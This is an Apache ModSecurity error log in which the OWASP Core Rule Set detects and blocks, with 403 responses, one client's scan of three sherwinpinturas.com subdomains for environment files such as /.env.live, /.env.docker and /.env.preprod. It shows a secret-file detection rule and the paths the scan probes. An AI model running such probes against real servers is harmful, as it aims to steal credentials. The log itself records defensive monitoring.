[Sun Oct 25 02:18:52.920253 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at2fTFyqe9jgJ5nfJHB7SAAAAAo"]
[Sun Oct 25 02:18:52.990660 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.docker"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at2fTHqPPT_6tJCMTRvt8gAAAAs"]
[Sun Oct 25 02:18:52.990879 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at2fTHqPPT_6tJCMTRvt8gAAAAs"]
[Sun Oct 25 02:18:52.991126 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at2fTHqPPT_6tJCMTRvt8gAAAAs"]
[Sun Oct 25 02:18:53.131286 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.live"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at2fTVTnwNJm6o1fQZIhQgAAAAI"]
[Sun Oct 25 02:18:53.131661 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at2fTVTnwNJm6o1fQZIhQgAAAAI"]
[Sun Oct 25 02:18:53.132091 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at2fTVTnwNJm6o1fQZIhQgAAAAI"]
[Sun Oct 25 02:18:53.157198 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.ci"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.ci"] [unique_id "at2fTVyqe9jgJ5nfJHB7SQAAAAo"]
[Sun Oct 25 02:18:53.157488 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.ci"] [unique_id "at2fTVyqe9jgJ5nfJHB7SQAAAAo"]
[Sun Oct 25 02:18:53.157811 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.ci"] [unique_id "at2fTVyqe9jgJ5nfJHB7SQAAAAo"]
[Sun Oct 25 02:18:53.213200 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.live"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at2fTXqPPT_6tJCMTRvt8wAAAAs"]
[Sun Oct 25 02:18:53.213440 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at2fTXqPPT_6tJCMTRvt8wAAAAs"]
[Sun Oct 25 02:18:53.213815 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at2fTXqPPT_6tJCMTRvt8wAAAAs"]
[Sun Oct 25 02:18:53.354919 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.preprod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "at2fTVTnwNJm6o1fQZIhQwAAAAI"]
[Sun Oct 25 02:18:53.355187 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "at2fTVTnwNJm6o1fQZIhQwAAAAI"]
[Sun Oct 25 02:18:53.355538 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "at2fTVTnwNJm6o1fQZIhQwAAAAI"]
[Sun Oct 25 02:18:53.394258 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.docker"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at2fTVyqe9jgJ5nfJHB7SgAAAAo"]
[Sun Oct 25 02:18:53.394613 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at2fTVyqe9jgJ5nfJHB7SgAAAAo"]
[Sun Oct 25 02:18:53.394983 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at2fTVyqe9jgJ5nfJHB7SgAAAAo"]
[Sun Oct 25 02:18:53.445343 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.preprod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "at2fTXqPPT_6tJCMTRvt9AAAAAs"]
[Sun Oct 25 02:18:53.445626 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "at2fTXqPPT_6tJCMTRvt9AAAAAs"]
[Sun Oct 25 02:18:53.445982 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "at2fTXqPPT_6tJCMTRvt9AAAAAs"]
[Sun Oct 25 02:18:53.599017 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.uat"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.uat"] [unique_id "at2fTVTnwNJm6o1fQZIhRAAAAAI"]
[Sun Oct 25 02:18:53.599351 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.uat"] [unique_id "at2fTVTnwNJm6o1fQZIhRAAAAAI"]
[Sun Oct 25 02:18:53.599791 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.uat"] [unique_id "at2fTVTnwNJm6o1fQZIhRAAAAAI"]
[Sun Oct 25 02:18:53.626181 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.live"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at2fTVyqe9jgJ5nfJHB7SwAAAAo"]
[Sun Oct 25 02:18:53.626439 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at2fTVyqe9jgJ5nfJHB7SwAAAAo"]
[Sun Oct 25 02:18:53.626801 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at2fTVyqe9jgJ5nfJHB7SwAAAAo"]
[Sun Oct 25 02:18:53.626841 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at2fTVyqe9jgJ5nfJHB7SwAAAAo"]
[Sun Oct 25 02:18:53.626854 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at2fTVyqe9jgJ5nfJHB7SwAAAAo"]
[Sun Oct 25 02:18:53.676296 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.uat"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.uat"] [unique_id "at2fTXqPPT_6tJCMTRvt9QAAAAs"]
[Sun Oct 25 02:18:53.676600 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.uat"] [unique_id "at2fTXqPPT_6tJCMTRvt9QAAAAs"]
[Sun Oct 25 02:18:53.676947 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.uat"] [unique_id "at2fTXqPPT_6tJCMTRvt9QAAAAs"]
[Sun Oct 25 02:18:54.008534 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dist"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "at2fTlTnwNJm6o1fQZIhRQAAAAI"]
[Sun Oct 25 02:18:54.008816 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "at2fTlTnwNJm6o1fQZIhRQAAAAI"]
[Sun Oct 25 02:18:54.009112 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "at2fTlTnwNJm6o1fQZIhRQAAAAI"]
[Sun Oct 25 02:18:54.010241 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.preprod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "at2fTlyqe9jgJ5nfJHB7TAAAAAo"]
[Sun Oct 25 02:18:54.010399 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "at2fTlyqe9jgJ5nfJHB7TAAAAAo"]
[Sun Oct 25 02:18:54.010641 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "at2fTlyqe9jgJ5nfJHB7TAAAAAo"]
[Sun Oct 25 02:18:54.011754 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dist"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "at2fTnqPPT_6tJCMTRvt9gAAAAs"]
